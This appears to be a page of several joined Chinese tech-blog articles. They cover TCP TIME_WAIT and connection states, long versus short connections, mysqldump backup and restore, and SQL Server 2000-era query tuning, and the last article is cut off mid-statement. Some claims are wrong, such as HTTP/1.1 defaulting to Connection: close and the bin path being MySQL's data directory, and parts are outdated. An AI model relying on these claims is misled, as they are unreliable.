暂时未有相关云产品技术能力~
模拟高并发的场景,会出现批量的 TIME_WAIT 的 TCP 连接:短时间后,所有的 TIME_WAIT 全都消失,被回收,端口包括服务,均正常。即,在高并发的场景下,TIME_WAIT 连接存在,属于正常现象。线上场景中,持续的高并发场景:一部分 TIME_WAIT 连接被回收,但新的 TIME_WAIT 连接产生;一些极端情况下,会出现大量的 TIME_WAIT 连接。问题:上述大量的 TIME_WAIT 状态 TCP 连接,有什么业务上的影响吗?Nginx 作为反向代理时,大量的短链接,可能导致 Nginx 上的 TCP 连接处于 time_wait 状态:1.每一个 time_wait 状态,都会占用一个「本地端口」,上限为 65535(16 bit,2 Byte);2.当大量的连接处于 time_wait 时,新建立 TCP 连接会出错,address already in use : connect 异常// 统计:各种连接的数量$ netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'ESTABLISHED 1154TIME_WAIT 1645 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' LAST_ACK 1 SYN_RECV 14 ESTABLISHED 79 FIN_WAIT1 28 FIN_WAIT2 3 CLOSING 5 TIME_WAIT 1669 也就是说,这条命令可以把当前系统的网络连接状态分类汇总。 状态:描述 CLOSED:无连接是活动的或正在进行 LISTEN:服务器在等待进入呼叫 SYN_RECV:一个连接请求已经到达,等待确认 SYN_SENT:应用已经开始,打开一个连接 ESTABLISHED:正常数据传输状态 FIN_WAIT1:应用说它已经完成 FIN_WAIT2:另一边已同意释放 ITMED_WAIT:等待所有分组死掉 CLOSING:两边同时尝试关闭 TIME_WAIT:另一边已初始化一个释放,等待tcp连接的数量,这个状态也是占用连接的 LAST_ACK:等待所有分组死掉 /****原文:记一次tomcat web应用压测调优:http://blog.csdn.net/hzzhoushaoyu/article/details/48769805 CLOSE_WAIT的连接一般是自己程序中缺少关闭连接等引起,但是查看程序也没发现哪里没有关闭 而且大多CLOSE_WAIT是与浏览器端的http协议下的tcp连接。后经运维排查是centos自身的BUG引起, 升级到centos-release-6-6.el6.centos.12.2.x86_64后解决 Tips:TCP 本地端口数量,上限为 65535(6.5w),这是因为 TCP 头部使用 16 bit,存储「端口号」,因此约束上限为 65535。问题分析大量的 TIME_WAIT 状态 TCP 连接存在,其本质原因是什么?1.大量的短连接存在2.特别是 HTTP 请求中,如果 connection 头部取值被设置为 close 时,基本都由「服务端」发起主动关闭连接3.而,TCP 四次挥手关闭连接机制中,为了保证 ACK 重发和丢弃延迟数据,设置 time_wait 为 2 倍的 MSL(报文最大存活时间)TIME_WAIT 状态:1.TCP 连接中,主动关闭连接的一方出现的状态;(收到 FIN 命令,进入 TIME_WAIT 状态,并返回 ACK 命令)d2.保持 2 个 MSL 时间,即,4 分钟;(MSL 为 2 分钟)解决办法解决上述 time_wait 状态大量存在,导致新连接创建失败的问题,一般解决办法:1.客户端,HTTP 请求的头部,connection 设置为 keep-alive,保持存活一段时间:现在的浏览器,一般都这么进行了2.服务器端允许 time_wait 状态的 socket 被重用缩减 time_wait 时间,设置为 1 MSL(即,2 mins)结论:几个核心要点1.time_wait 状态的影响:TCP 连接中,「主动发起关闭连接」的一端,会进入 time_wait 状态time_wait 状态,默认会持续 2 MSL(报文的最大生存时间),一般是 2x2 minstime_wait 状态下,TCP 连接占用的端口,无法被再次使用TCP 端口数量,上限是 6.5w(65535,16 bit)大量 time_wait 状态存在,会导致新建 TCP 连接会出错,address already in use : connect 异常2.现实场景:服务器端,一般设置:不允许「主动关闭连接」但 HTTP 请求中,http 头部 connection 参数,可能设置为 close,则,服务端处理完请求会主动关闭 TCP 连接现在浏览器中, HTTP 请求 connection 参数,一般都设置为 keep-aliveNginx 反向代理场景中,可能出现大量短链接,服务器端,可能存在3.解决办法:服务器端允许 time_wait 状态的 socket 被重用缩减 time_wait 时间,设置为 1 MSL(即,2 mins)附录几个方面:1.TCP 连接状态的查询2.MSL 时间3.TCP 三次握手和四次握手附录 A:查询 TCP 连接状态Mac 下,查询 TCP 连接状态的具体命令:// Mac 下,查询 TCP 连接状态 $ netstat -nat |grep TIME_WAIT // Mac 下,查询 TCP 连接状态,其中 -E 表示 grep 或的匹配逻辑 $ netstat -nat | grep -E "TIME_WAIT|Local Address"Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp4 0 0 127.0.0.1.1080 127.0.0.1.59061 TIME_WAIT // 统计:各种连接的数量 $ netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'ESTABLISHED 1154TIME_WAIT 1645附录 B:MSL 时间MSL,Maximum Segment Lifetime,“报文最大生存时间”1.任何报文在网络上存在的最长时间,超过这个时间报文将被丢弃。(IP 报文)2.TCP报文 (segment)是ip数据报(datagram)的数据部分。Tips:RFC 793中规定MSL为2分钟,实际应用中常用的是30秒,1分钟和2分钟等。2MSL,TCP 的 TIME_WAIT 状态,也称为2MSL等待状态:当TCP的一端发起主动关闭(收到 FIN 请求),在发出最后一个ACK 响应后,即第3次握 手完成后,发送了第四次握手的ACK包后,就进入了TIME_WAIT状态。2.必须在此状态上停留两倍的MSL时间,等待2MSL时间主要目的是怕最后一个 ACK包对方没收到,那么对方在超时后将重发第三次握手的FIN包,主动关闭端接到重发的FIN包后,可以再发一个ACK应答包。3.在 TIME_WAIT 状态时,两端的端口不能使用,要等到2MSL时间结束,才可继续使用。(IP 层)4.当连接处于2MSL等待阶段时,任何迟到的报文段都将被丢弃。不过在实际应用中,可以通过设置 「SO_REUSEADDR选项」,达到不必等待2MSL时间结束,即可使用被占用的端口。附录 C:TCP 三次握手和四次握手具体示意图:1.三次握手,建立连接过程2.四次挥手,释放连接过程几个核心疑问:1.time_wait 是「服务器端」的状态?or 「客户端」的状态?RE:time_wait 是「主动关闭 TCP 连接」一方的状态,可能是「客服端」的,也可能是「服务器端」的一般情况下,都是「客户端」所处的状态;「服务器端」一般设置「不主动关闭连接」2.服务器在对外服务时,是「客户端」发起的断开连接?还是「服务器」发起的断开连接?正常情况下,都是「客户端」发起的断开连接「服务器」一般设置为「不主动关闭连接」,服务器通常执行「被动关闭」但 HTTP 请求中,http 头部 connection 参数,可能设置为 close,则,服务端处理完请求会主动关闭 TCP 连接关于 HTTP 请求中,设置的主动关闭 TCP 连接的机制:TIME_WAIT的是主动断开方才会出现的,所以主动断开方是服务端?1.答案是是的。在HTTP1.1协议中,有个 Connection 头,Connection有两个值,close和keep-alive,这个头就相当于客户端告诉服务端,服务端你执行完成请求之后,是关闭连接还是保持连接,保持连接就意味着在保持连接期间,只能由客户端主动断开连接。还有一个keep-alive的头,设置的值就代表了服务端保持连接保持多久。2.HTTP默认的Connection值为close,那么就意味着关闭请求的一方几乎都会是由服务端这边发起的。那么这个服务端产生TIME_WAIT过多的情况就很正常了。3.虽然HTTP默认Connection值为close,但是,现在的浏览器发送请求的时候一般都会设置Connection为keep-alive了。所以,也有人说,现在没有必要通过调整参数来使TIME_WAIT降低了。关于 time_wait:1.TCP 连接建立后,「主动关闭连接」的一端,收到对方的 FIN 请求后,发送 ACK 响应,会处于 time_wait 状态;2.time_wait 状态,存在的必要性:a、可靠的实现 TCP 全双工连接的终止:四次挥手关闭 TCP 连接过程中,最后的 ACK 是由「主动关闭连接」的一端发出的,如果这个 ACK 丢失,则,对方会重发 FIN 请求,因此,在「主动关闭连接」的一段,需要维护一个 time_wait 状态,处理对方重发的 FIN 请求;b、处理延迟到达的报文:由于路由器可能抖动,TCP 报文会延迟到达,为了避免「延迟到达的 TCP 报文」被误认为是「新 TCP 连接」的数据,则,需要在允许新创建 TCP 连接之前,保持一个不可用的状态,等待所有延迟报文的消失,一般设置为 2 倍的 MSL(报文的最大生存时间),解决「延迟达到的 TCP 报文」问题;
01—基础介绍 首先我介绍一下,长连接 与 短连接 分别是什么?以及在什么时候用?先来一波官方介绍:长连接:长连接,指在一个连接上可以连续发送多个数据包,在连接保持期间,如果没有数据包发送,需要双方发链路检测包。短连接:短连接(short connnection)是相对于长连接而言的概念,指的是在数据传送过程中,只在需要发送数据时,才去建立一个连接,数据发送完成后,则断开此连接,即每次连接只完成一项业务的发送。在来一波自己话介绍:长连接:连接->传输数据->保持连接 -> 传输数据-> ....->直到一方关闭连接,多是客户端关闭连接。长连接指建立SOCKET连接后不管是否使用都保持连接,但安全性较差。短连接:连接->传输数据->关闭连接。比如HTTP是无状态的的短链接,浏览器和服务器每进行一次HTTP操作,就建立一次连接,但任务结束就中断连接。因为连接后接收了数据就断开了,所以每次数据接受处理不会有联系。这也是HTTP协议无状态的原因之一。这样讲解是不是通俗易懂、那么在说说它的应用场景。应用场景:长连接:长连接多用于操作频繁,点对点的通讯,而且连接数不能太多情况。每个TCP连接都需要三步握手,这需要时间,如果每个操作都是先连接,再操作的话那么处理速度会降低很多,所以每个操作完后都不断开,次处理时直接发送数据包就OK了,不用建立TCP连接。例如:数据库的连接用长连接, 如果用短连接频繁的通信会造成socket错误,而且频繁的socket 创建也是对资源的浪费。短连接:而像WEB网站的http服务一般都用短链接,因为长连接对于服务端来说会耗费一定的资源,而像WEB网站这么频繁的成千上万甚至上亿客户端的连接用短连接会更省一些资源,如果用长连接,而且同时有成千上万的用户,如果每个用户都占用一个连接的话,那可想而知吧。所以并发量大,但每个用户无需频繁操作情况下需用短连好。02—TCP的长短连接优势TCP短连接: 我们模拟一下TCP短连接的情况,client向server发起连接请求,server接到请求,然后双方建立连接。client向server发送消息,server回应client,然后一次读写就完成了,这时候双方任何一个都可以发起close操作,不过一般都是client先发起close操作。 为什么呢,一般的server不会回复完client后立即关闭连接的,当然不排除有特殊的情况。从上面的描述看,短连接一般只会在client/server间传递一次读写操作短连接的优点是:管理起来比较简单,存在的连接都是有用的连接,不需要额外的控制手段。TCP长连接: 接下来我们再模拟一下长连接的情况,client向server发起连接,server接受client连接,双方建立连接。Client与server完成一次读写之后,它们之间的连接并不会主动关闭,后续的读写操作会继续使用这个连接。 首先说一下TCP/IP详解上讲到的TCP保活功能,保活功能主要为服务器应用提供,服务器应用希望知道客户主机是否崩溃,从而可以代表客户使用资源。如果客户已经消失,使得服务器上保留一个半开放的连接,而服务器又在等待来自客户端的数据,则服务器将应远等待客户端的数据,保活功能就是试图在服务器端检测到这种半开放的连接。 如果一个给定的连接在两小时内没有任何的动作,则服务器就向客户发一个探测报文段,客户主机必须处于以下4个状态之一:客户主机依然正常运行,并从服务器可达。客户的TCP响应正常,而服务器也知道对方是正常的,服务器在两小时后将保活定时器复位。客户主机已经崩溃,并且关闭或者正在重新启动。在任何一种情况下,客户的TCP都没有响应。服务端将不能收到对探测的响应,并在75秒后超时。服务器总共发送10个这样的探测 ,每个间隔75秒。如果服务器没有收到一个响应,它就认为客户主机已经关闭并终止连接。客户主机崩溃并已经重新启动。服务器将收到一个对其保活探测的响应,这个响应是一个复位,使得服务器终止这个连接。客户机正常运行,但是服务器不可达,这种情况与2类似,TCP能发现的就是没有收到探查的响应。从上面可以看出,TCP保活功能主要为探测长连接的存活状况,不过这里存在一个问题,存活功能的探测周期太长,还有就是它只是探测TCP连接的存活,属于比较斯文的做法,遇到恶意的连接时,保活功能就不够使了。在长连接的应用场景下,client端一般不会主动关闭它们之间的连接,Client与server之间的连接如果一直不关闭的话,会存在一个问题,随着客户端连接越来越多,server早晚有扛不住的时候,这时候server端需要采取一些策略,如关闭一些长时间没有读写事件发生的连接,这样可以避免一些恶意连接导致server端服务受损;如果条件再允许就可以以客户端机器为颗粒度,限制每个客户端的最大长连接数,这样可以完全避免某个蛋疼的客户端连累后端服务。长连接和短连接的产生在于client和server采取的关闭策略,具体的应用场景采用具体的策略,没有十全十美的选择,只有合适的选择。
一、基础核心1)mysqldump 可以把整个数据库装载到一个单独的文本文件中2)mysqldump备份方式是采用的逻辑备份,其最大的缺陷是备份和恢复速度较慢,如果数据库大于50G,mysqldump备份就不太适合。二、导出数据库用mysqldump命令(注意mysql的安装路径,即此命令的路径)1、导出数据和表结构: mysqldump -u用户名 -p密码 数据库名 > 数据库名.sql #/usr/local/mysql/bin/ mysqldump -uroot -p abc > abc.sql 敲回车后会提示输入密码2、只导出表结构 mysqldump -u用户名 -p密码 -d 数据库名 > 数据库名.sql #/usr/local/mysql/bin/ mysqldump -uroot -p -d abc > abc.sql 注:/usr/local/mysql/bin/ ---> mysql的data目录三、导入数据库1、首先建空数据库 mysql>create database abc; 2、导入数据库 (1)选择数据库 mysql>use abc; (2)设置数据库编码 mysql>set names utf8; (3)导入数据(注意sql文件的路径) mysql>source /home/abc/abc.sql;
mysql查询缓慢原因和解决方案查询速度慢的原因很多,常见如下几种:1、没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷) 2、I/O吞吐量小,形成了瓶颈效应。 3、没有创建计算列导致查询不优化。 4、内存不足 5、网络速度慢 6、查询出的数据量过大(可以采用多次查询,其他的方法降低数据量) 7、锁或者死锁(这也是查询慢最常见的问题,是程序设计的缺陷) 8、sp_lock,sp_who,活动的用户查看,原因是读写竞争资源。 9、返回了不必要的行和列 10、查询语句不好,没有优化 可以通过如下方法来优化查询 : 1、把数据、日志、索引放到不同的I/O设备上,增加读取速度,以前可以将Tempdb应放在RAID0上,SQL2000不在支持。数据量(尺寸)越大,提高I/O越重要. 2、纵向、横向分割表,减少表的尺寸(sp_spaceuse) 3、升级硬件 4、根据查询条件,建立索引,优化索引、优化访问方式,限制结果集的数据量。注意填充因子要适当(最好是使用默认值0)。索引应该尽量小,使用字节数小的列建索引好(参照索引的创建),不要对有限的几个值的字段建单一索引如性别字段 5、提高网速; 6、扩大服务器的内存,Windows 2000和SQL server 2000能支持4-8G的内存。配置虚拟内存:虚拟内存大小应基于计算机上并发运行的服务进行配置。运行 Microsoft SQL Server? 2000 时,可考虑将虚拟内存大小设置为计算机中安装的物理内存的 1.5 倍。如果另外安装了全文检索功能,并打算运行 Microsoft 搜索服务以便执行全文索引和查询,可考虑:将虚拟内存大小配置为至少是计算机中安装的物理内存的 3 倍。将 SQL Server max server memory 服务器配置选项配置为物理内存的 1.5 倍(虚拟内存大小设置的一半)。 7、增加服务器CPU个数;但是必须明白并行处理串行处理更需要资源例如内存。使用并行还是串行程是MsSQL自动评估选择的。单个任务分解成多个任务,就可以在处理器上运行。例如耽搁查询的排序、连接、扫描和GROUP BY字句同时执行,SQL SERVER根据系统的负载情况决定最优的并行等级,复杂的需要消耗大量的CPU的查询最适合并行处理。但是更新操作UPDATE,INSERT,DELETE还不能并行处理。 8、如果是使用like进行查询的话,简单的使用index是不行的,但是全文索引,耗空间。 like 'a%' 使用索引 like '%a' 不使用索引用 like '%a%' 查询时,查询耗时和字段值总长度成正比,所以不能用CHAR类型,而是VARCHAR。对于字段的值很长的建全文索引。 9、DB Server 和APPLication Server 分离;OLTP和OLAP分离 10、分布式分区视图可用于实现数据库服务器联合体。联合体是一组分开管理的服务器,但它们相互协作分担系统的处理负荷。这种通过分区数据形成数据库服务器联合体的机制能够扩大一组服务器,以支持大型的多层 Web 站点的处理需要。有关更多信息,参见设计联合数据库服务器。(参照SQL帮助文件'分区视图') a、在实现分区视图之前,必须先水平分区表 b、在创建成员表后,在每个成员服务器上定义一个分布式分区视图,并且每个视图具有相同的名称。这样,引用分布式分区视图名的查询可以在任何一个成员服务器上运行。系统操作如同每个成员服务器上都有一个原始表的复本一样,但其实每个服务器上只有一个成员表和一个分布式分区视图。数据的位置对应用程序是透明的。 11、重建索引 DBCC REINDEX ,DBCC INDEXDEFRAG,收缩数据和日志 DBCC SHRINKDB,DBCC SHRINKFILE. 设置自动收缩日志.对于大的数据库不要设置数据库自动增长,它会降低服务器的性能。 在T-sql的写法上有很大的讲究,下面列出常见的要点:首先,DBMS处理查询计划的过程是这样的: 1、 查询语句的词法、语法检查 2、 将语句提交给DBMS的查询优化器 3、 优化器做代数优化和存取路径的优化 4、 由预编译模块生成查询规划 5、 然后在合适的时间提交给系统处理执行 6、 最后将执行结果返回给用户其次,看一下SQL SERVER的数据存放的结构:一个页面的大小为8K(8060)字节,8个页面为一个盘区,按照B树存放。 12、Commit和rollback的区别 Rollback:回滚所有的事物。 Commit:提交当前的事物. 没有必要在动态SQL里写事物,如果要写请写在外面如: begin tran exec(@s) commit trans 或者将动态SQL 写成函数或者存储过程。 13、在查询Select语句中用Where字句限制返回的行数,避免表扫描,如果返回不必要的数据,浪费了服务器的I/O资源,加重了网络的负担降低性能。如果表很大,在表扫描的期间将表锁住,禁止其他的联接访问表,后果严重。 14、SQL的注释申明对执行没有任何影响 15、尽可能不使用光标,它占用大量的资源。如果需要row-by-row地执行,尽量采用非光标技术,如:在客户端循环,用临时表,Table变量,用子查询,用Case语句等等。游标可以按照它所支持的提取选项进行分类: 只进 必须按照从第一行到最后一行的顺序提取行。FETCH NEXT 是唯一允许的提取操作,也是默认方式。可滚动性 可以在游标中任何地方随机提取任意行。游标的技术在SQL2000下变得功能很强大,他的目的是支持循环。有四个并发选项 READ_ONLY:不允许通过游标定位更新(Update),且在组成结果集的行中没有锁。 OPTIMISTIC WITH valueS:乐观并发控制是事务控制理论的一个标准部分。乐观并发控制用于这样的情形,即在打开游标及更新行的间隔中,只有很小的机会让第二个用户更新某一行。当某个游标以此选项打开时,没有锁控制其中的行,这将有助于最大化其处理能力。如果用户试图修改某一行,则此行的当前值会与最后一次提取此行时获取的值进行比较。如果任何值发生改变,则服务器就会知道其他人已更新了此行,并会返回一个错误。如果值是一样的,服务器就执行修改。 选择这个并发选项OPTIMISTIC WITH ROW VERSIONING:此乐观并发控制选项基于行版本控制。使用行版本控制,其中的表必须具有某种版本标识符,服务器可用它来确定该行在读入游标后是否有所更改。在 SQL Server 中,这个性能由 timestamp 数据类型提供,它是一个二进制数字,表示数据库中更改的相对顺序。每个数据库都有一个全局当前时间戳值:@@DBTS。每次以任何方式更改带有 timestamp 列的行时,SQL Server 先在时间戳列中存储当前的 @@DBTS 值,然后增加 @@DBTS 的值。如果某 个表具有 timestamp 列,则时间戳会被记到行级。服务器就可以比较某行的当前时间戳值和上次提取时所存储的时间戳值,从而确定该行是否已更新。服务器不必比较所有列的值,只需比较 timestamp 列即可。如果应用程序对没有 timestamp 列的表要求基于行版本控制的乐观并发,则游标默认为基于数值的乐观并发控制。 SCROLL LOCKS 这个选项实现悲观并发控制。在悲观并发控制中,在把数据库的行读入游标结果集时,应用程序将试图锁定数据库行。在使用服务器游标时,将行读入游标时会在其上放置一个更新锁。如果在事务内打开游标,则该事务更新锁将一直保持到事务被提交或回滚;当提取下一行时,将除去游标锁。如果在事务外打开游标,则提取下一行时,锁就被丢弃。因此,每当用户需要完全的悲观并发控制时,游标都应在事务内打开。更新锁将阻止任何其它任务获取更新锁或排它锁,从而阻止其它任务更新该行。然而,更新锁并不阻止共享锁,所以它不会阻止其它任务读取行,除非第二个任务也在要求带更新锁的读取。滚动锁根据在游标定义的 SELECT 语句中指定的锁提示,这些游标并发选项可以生成滚动锁。滚动锁在提取时在每行上获取,并保持到下次提取或者游标关闭,以先发生者为准。下次提取时,服务器为新提取中的行获取滚动锁,并释放上次提取中行的滚动锁。滚动锁独立于事务锁,并可以保持到一个提交或回滚操作之后。如果提交时关闭游标的选项为关,则 COMMIT 语句并不关闭任何打开的游标,而且滚动锁被保留到提交之后,以维护对所提取数据的隔离。所获取滚动锁的类型取决于游标并发选项和游标 SELECT 语句中的锁提示。锁提示 只读 乐观数值 乐观行版本控制 锁定无提示 未锁定 未锁定 未锁定 更新 NOLOCK 未锁定 未锁定 未锁定 未锁定 HOLDLOCK 共享 共享 共享 更新 UPDLOCK 错误 更新 更新 更新 TABLOCKX 错误 未锁定 未锁定 更新其它 未锁定 未锁定 未锁定 更新 *指定 NOLOCK 提示将使指定了该提示的表在游标内是只读的。 16、用Profiler来跟踪查询,得到查询所需的时间,找出SQL的问题所在;用索引优化器优化索引 17、注意UNion和UNion all 的区别。UNION all好 18、注意使用DISTINCT,在没有必要时不要用,它同UNION一样会使查询变慢。重复的记录在查询里是没有问题的 19、查询时不要返回不需要的行、列 20、用sp_configure 'query governor cost limit'或者SET QUERY_GOVERNOR_COST_LIMIT来限制查询消耗的资源。当评估查询消耗的资源超出限制时,服务器自动取消查询,在查询之前就扼杀掉。SET LOCKTIME设置锁的时间 21、用select top 100 / 10 Percent 来限制用户返回的行数或者SET ROWCOUNT来限制操作的行 22、在SQL2000以前,一般不要用如下的字句: "IS NULL", "<>", "!=", "!>", "!<", "NOT", "NOT EXISTS", "NOT IN", "NOT LIKE", and "LIKE '%500'",因为他们不走索引全是表扫描。也不要在WHere字句中的列名加函数,如Convert,substring等,如果必须用函数的时候,创建计算列再创建索引来替代.还可以变通写法:WHERE SUBSTRING(firstname,1,1) = 'm'改为WHERE firstname like 'm%'(索引扫描),一定要将函数和列名分开。并且索引不能建得太多和太大。NOT IN会多次扫描表,使用EXISTS、NOT EXISTS ,IN , LEFT OUTER JOIN 来替代,特别是左连接,而Exists比IN更快,最慢的是NOT操作.如果列的值含有空,以前它的索引不起作用,现在2000的优化器能够处理了。相同的是IS NULL,"NOT", "NOT EXISTS", "NOT IN"能优化她,而"<>"等还是不能优化,用不到索引。 23、使用Query Analyzer,查看SQL语句的查询计划和评估分析是否是优化的SQL。一般的20%的代码占据了80%的资源,我们优化的重点是这些慢的地方。 24、如果使用了IN或者OR等时发现查询没有走索引,使用显示申明指定索引: SELECT * FROM PersonMember (INDEX = IX_Title) WHERE processid IN ('男','女') 25、将需要查询的结果预先计算好放在表中,查询的时候再SELECT。这在SQL7.0以前是最重要的手段。例如医院的住院费计算。 26、MIN() 和 MAX()能使用到合适的索引。 27、数据库有一个原则是代码离数据越近越好,所以优先选择Default,依次为Rules,Triggers, Constraint(约束如外健主健CheckUNIQUE……,数据类型的最大长度等等都是约束),Procedure.这样不仅维护工作小,编写程序质量高,并且执行的速度快。 28、如果要插入大的二进制值到Image列,使用存储过程,千万不要用内嵌INsert来插入(不知JAVA是否)。因为这样应用程序首先将二进制值转换成字符串(尺寸是它的两倍),服务器受到字符后又将他转换成二进制值.存储过程就没有这些动作: 方法: Create procedure p_insert as insert into table(Fimage) values (@image) 在前台调用这个存储过程传入二进制参数,这样处理速度明显改善。 29、Between在某些时候比IN速度更快,Between能够更快地根据索引找到范围。用查询优化器可见到差别。 select * from chineseresume where title in ('男','女') Select * from chineseresume where title between '男' and '女' 是一样的。由于in会在比较多次,所以有时会慢些。 30、在必要是对全局或者局部临时表创建索引,有时能够提高速度,但不是一定会这样,因为索引也耗费大量的资源。他的创建同是实际表一样。 31、不要建没有作用的事物例如产生报表时,浪费资源。只有在必要使用事物时使用它。 32、用OR的字句可以分解成多个查询,并且通过UNION 连接多个查询。他们的速度只同是否使用索引有关,如果查询需要用到联合索引,用UNION all执行的效率更高.多个OR的字句没有用到索引,改写成UNION的形式再试图与索引匹配。一个关键的问题是否用到索引。 33、尽量少用视图,它的效率低。对视图操作比直接对表操作慢,可以用stored procedure来代替她。特别的是不要用视图嵌套,嵌套视图增加了寻找原始资料的难度。我们看视图的本质:它是存放在服务器上的被优化好了的已经产生了查询规划的SQL。对单个表检索数据时,不要使用指向多个表的视图,直接从表检索或者仅仅包含这个表的视图上读,否则增加了不必要的开销,查询受到干扰.为了加快视图的查询,MsSQL增加了视图索引的功能。 34、没有必要时不要用DISTINCT和ORDER BY,这些动作可以改在客户端执行。它们增加了额外的开销。这同UNION 和UNION ALL一样的道理。 select top 20 ad.companyname,comid,position,ad.referenceid,worklocation, convert(varchar(10),ad.postDate,120) as postDate1,workyear,degreedescription FROM jobcn_query.dbo.COMPANYAD_query ad where referenceID in('JCNAD00329667','JCNAD132168','JCNAD00337748','JCNAD00338345', 'JCNAD00333138','JCNAD00303570','JCNAD00303569', 'JCNAD00303568','JCNAD00306698','JCNAD00231935','JCNAD00231933', 'JCNAD00254567','JCNAD00254585','JCNAD00254608', 'JCNAD00254607','JCNAD00258524','JCNAD00332133','JCNAD00268618', 'JCNAD00279196','JCNAD00268613') order by postdate desc 35、在IN后面值的列表中,将出现最频繁的值放在最前面,出现得最少的放在最后面,减少判断的次数。 36、当用SELECT INTO时,它会锁住系统表(sysobjects,sysindexes等等),阻塞其他的连接的存取。创建临时表时用显示申明语句,而不是 select INTO. drop table t_lxh begin tran select * into t_lxh from chineseresume where name = 'XYZ' --commit 在另一个连接中SELECT * from sysobjects可以看到 SELECT INTO 会锁住系统表,Create table 也会锁系统表(不管是临时表还是系统表)。所以千万不要在事物内使用它!!!这样的话如果是经常要用的临时表请使用实表,或者临时表变量。 37、一般在GROUP BY 个HAVING字句之前就能剔除多余的行,所以尽量不要用它们来做剔除行的工作。他们的执行顺序应该如下最优:select 的Where字句选择所有合适的行,Group By用来分组个统计行,Having字句用来剔除多余的分组。这样Group By 个Having的开销小,查询快.对于大的数据行进行分组和Having十分消耗资源。如果Group BY的目的不包括计算,只是分组,那么用Distinct更快 38、一次更新多条记录比分多次更新每次一条快,就是说批处理好 39、少用临时表,尽量用结果集和Table类性的变量来代替它,Table 类型的变量比临时表好 40、在SQL2000下,计算字段是可以索引的,需要满足的条件如下: a、计算字段的表达是确定的 b、不能用在TEXT,Ntext,Image数据类型 c、必须配制如下选项 ANSI_NULLS = ON, ANSI_PADDINGS = ON, ……. 41、尽量将数据的处理工作放在服务器上,减少网络的开销,如使用存储过程。存储过程是编译好、优化过、并且被组织到一个执行规划里、且存储在数据库中的SQL语句,是控制流语言的集合,速度当然快。反复执行的动态SQL,可以使用临时存储过程,该过程(临时表)被放在Tempdb中。以前由于SQL SERVER对复杂的数学计算不支持,所以不得不将这个工作放在其他的层上而增加网络的开销。SQL2000支持UDFs,现在支持复杂的数学计算,函数的返回值不要太大,这样的开销很大。用户自定义函数象光标一样执行的消耗大量的资源,如果返回大的结果采用存储过程 42、不要在一句话里再三的使用相同的函数,浪费资源,将结果放在变量里再调用更快 43、SELECT COUNT(*)的效率教低,尽量变通他的写法,而EXISTS快.同时请注意区别: select count(Field of null) from Table 和 select count(Field of NOT null) from Table 的返回值是不同的!!! 44、当服务器的内存够多时,配制线程数量 = 最大连接数+5,这样能发挥最大的效率;否则使用 配制线程数量<最大连接数启用SQL SERVER的线程池来解决,如果还是数量 = 最大连接数+5,严重的损害服务器的性能。 45、按照一定的次序来访问你的表。如果你先锁住表A,再锁住表B,那么在所有的存储过程中都要按照这个顺序来锁定它们。如果你(不经意的)某个存储过程中先锁定表B,再锁定表A,这可能就会导致一个死锁。如果锁定顺序没有被预先详细的设计好,死锁很难被发现 46、通过SQL Server Performance Monitor监视相应硬件的负载 Memory: Page Faults / sec计数器如果该值偶尔走高,表明当时有线程竞争内存。如果持续很高,则内存可能是瓶颈。 Process: 1、% DPC Time 指在范例间隔期间处理器用在缓延程序调用(DPC)接收和提供服务的百分比。(DPC 正在运行的为比标准间隔优先权低的间隔)。 由于 DPC 是以特权模式执行的,DPC 时间的百分比为特权时间 百分比的一部分。这些时间单独计算并且不属于间隔计算总数的一部 分。这个总数显示了作为实例时间百分比的平均忙时。 2、%Processor Time计数器 如果该参数值持续超过95%,表明瓶颈是CPU。可以考虑增加一个处理器或换一个更快的处理器。 3、% Privileged Time 指非闲置处理器时间用于特权模式的百分比。(特权模式是为操作系统组件和操纵硬件驱动程序而设计的一种处理模式。它允许直接访问硬件和所有内存。另一种模式为用户模式,它是一种为应用程序、环境分系统和整数分系统设计的一种有限处理模式。操作系统将应用程序线程转换成特权模式以访问操作系统服务)。 特权时间的 % 包括为间断和 DPC 提供服务的时间。特权时间比率高可能是由于失败设备产生的大数量的间隔而引起的。这个计数器将平均忙时作为样本时间的一部分显示。 4、% User Time表示耗费CPU的数据库操作,如排序,执行aggregate functions等。如果该值很高,可考虑增加索引,尽量使用简单的表联接,水平分割大表格等方法来降低该值。 Physical Disk: Curretn Disk Queue Length计数器该值应不超过磁盘数的1.5~2倍。要提高性能,可增加磁盘。 SQLServer:Cache Hit Ratio计数器该值越高越好。如果持续低于80%,应考虑增加内存。 注意该参数值是从SQL Server启动后,就一直累加记数,所以运行经过一段时间后,该值将不能反映系统当前值。 47、分析select emp_name form employee where salary > 3000 在此语句中若salary是Float类型的,则优化器对其进行优化为Convert(float,3000),因为3000是个整数,我们应在编程时使用3000.0而不要等运行时让DBMS进行转化。同样字符和整型数据的转换。48、查询的关联同写的顺序 select a.personMemberID, * from chineseresume a,personmember b where personMemberID = b.referenceid and a.personMemberID = 'JCNPRH39681' (A = B ,B = '号码') select a.personMemberID, * from chineseresume a,personmember b where a.personMemberID = b.referenceid and a.personMemberID = 'JCNPRH39681' and b.referenceid = 'JCNPRH39681' (A = B ,B = '号码', A = '号码') select a.personMemberID, * from chineseresume a,personmember b where b.referenceid = 'JCNPRH39681' and a.personMemberID = 'JCNPRH39681' (B = '号码', A = '号码') 49、 (1)IF 没有输入负责人代码 THEN code1=0 code2=9999 ELSE code1=code2=负责人代码 END IF 执行SQL语句为: SELECT 负责人名 FROM P2000 WHERE 负责人代码>=:code1 AND负责人代码 <=:code2 (2)IF 没有输入负责人代码 THEN SELECT 负责人名 FROM P2000 ELSE code= 负责人代码 SELECT 负责人代码 FROM P2000 WHERE 负责人代码=:code END IF 第一种方法只用了一条SQL语句,第二种方法用了两条SQL语句。在没有输入负责人代码时,第二种方法显然比第一种方法执行效率高,因为它没有限制条件;在输入了负责人代码时,第二种方法仍然比第一种方法效率高,不仅是少了一个限制条件,还因相等运算是最快的查询运算。我们写程序不要怕麻烦 50、关于JOBCN现在查询分页的新方法(如下),用性能优化器分析性能的瓶颈,如果在I/O或者网络的速度上,如下的方法优化切实有效,如果在CPU或者内存上,用现在的方法更好。请区分如下的方法,说明索引越小越好。 begin DECLARE @local_variable table (FID int identity(1,1),ReferenceID varchar(20)) insert into @local_variable (ReferenceID) select top 100000 ReferenceID from chineseresume order by ReferenceID select * from @local_variable where Fid > 40 and fid 